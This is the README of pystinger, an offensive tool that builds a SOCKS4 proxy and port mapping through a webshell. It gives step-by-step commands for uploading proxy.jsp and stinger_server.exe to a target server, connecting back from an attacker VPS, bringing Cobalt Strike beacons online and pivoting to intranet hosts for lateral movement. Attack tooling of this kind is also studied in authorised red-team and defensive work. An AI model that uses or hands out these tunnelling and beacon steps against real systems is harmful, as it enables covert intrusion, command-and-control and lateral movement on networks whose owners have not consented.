pystinger

# pystinger English | [简体中文](./readme_cn.md) Pystinger implements **SOCK4 proxy** and **port mapping** through webshell. It can be directly used by metasploit-framework, viper, cobalt strike for session online. Pystinger is developed in python, and currently supports three proxy scripts: php, jsp(x) and aspx. # Usage > Suppose the domain name of the server is[ http://example.com :8080](http://192.168.3.11:8080) The intranet IPAddress of the server intranet is 192.168.3.11 ## SOCK4 Proxy * ```proxy.jsp``` Upload to the target server and ensure that [http://example.com:8080/proxy.jsp](http://example.com:8080/proxy.jsp) can access,the page returns ```UTF-8``` * ```stinger_server.exe``` Upload to the target server,AntSword run cmd```start D:/XXX/stinger_server.exe```to start pystinger-server > Don't run ```D:/xxx/singer_server.exe``` directly,it will cause TCP disconnection * Run ```./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000``` on your VPS * Your will see following output ``` … ``` * Now you have started a *socks4a proxy* on VPS ```127.0.0.1:60000``` for intranet of ```example.com```. * Now the target server(```example.com```) ```127.0.0.1:60020``` has been mapped to the VPS ``` 127.0.0.1:60020``` ## cobaltstrike`s beacon online for single target * ```proxy.jsp``` Upload to the target server and ensure that [http://example.com:8080/proxy.jsp](http://example.com:8080/proxy.jsp) can access,the page returns ```UTF-8``` * ```stinger_server.exe``` Upload to the target server,AntSword run cmd```start D:/XXX/stinger_server.exe```to start pystinger-server > Don't run ```D:/xxx/singer_server.exe``` directly,it will cause TCP disconnection * Run ```./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000``` on your VPS * Your will see following output ``` … ``` * Add listener on cobaltstrike,Listener port is ```60020``` (Handler/LISTEN port in ```RAT CONFIG``` of output ),listener address is ```127.0.0.1``` * Generate payload,upload to the target and run. ## cobaltstrike`s beacon online for multi targets * ```proxy.jsp``` Upload to the target server and ensure that [http://example.com:8080/proxy.jsp](http://example.com:8080/proxy.jsp) can access,the page returns ```UTF-8``` * ```stinger_server.exe``` Upload to the target server,AntSword run cmd```start D:/XXX/stinger_server.exe 192.168.3.11```to start pystinger-server (192.168.3.11 is intranet ipaddress of the target) > 192.168.3.11 can change to 0.0.0.0 * Run ```./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000``` on your VPS * Your will see following output ``` … ``` * Add listener on cobaltstrike,Listener port is ```60020``` (Handler/LISTEN port in ```RAT CONFIG``` of output ),listener address is ```192.168.3.11``` * Generate payload,upload to the target and run. * When lateral movement to other hosts, you can point the payload to 192.168.3.11:60020 to make beacon online ## Custom header and proxy * If the webshell needs to configure cookie or authorization, the request header can be configured through the -- header parameter ```--header "Authorization: XXXXXX,Cookie: XXXXX"``` * If the webshell needs to be accessed by proxy, you can set the proxy through -- proxy ```--proxy "socks5:127.0.0.1:1081"``` # Related tools [https://github.com/nccgroup/ABPTTS](https://github.com/nccgroup/ABPTTS) [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) [https://github.com/SECFORCE/Tunna](https://github.com/SECFORCE/Tunna) # Tested ## stinger_server\stinger_client * windows * linux ## proxy.jsp(x)/php/aspx * php7.2 * tomcat7.0 * iis8.0 # Update log **2.0** Update time: 2019-09-29 * Socks4 proxy service moves to client **2.1** Update time: 2020-01-07 * Support cobaltstrike online (port mapping) The development is supported by the software from jetbrains.
https://www.jetbrains.com/?from=pystinger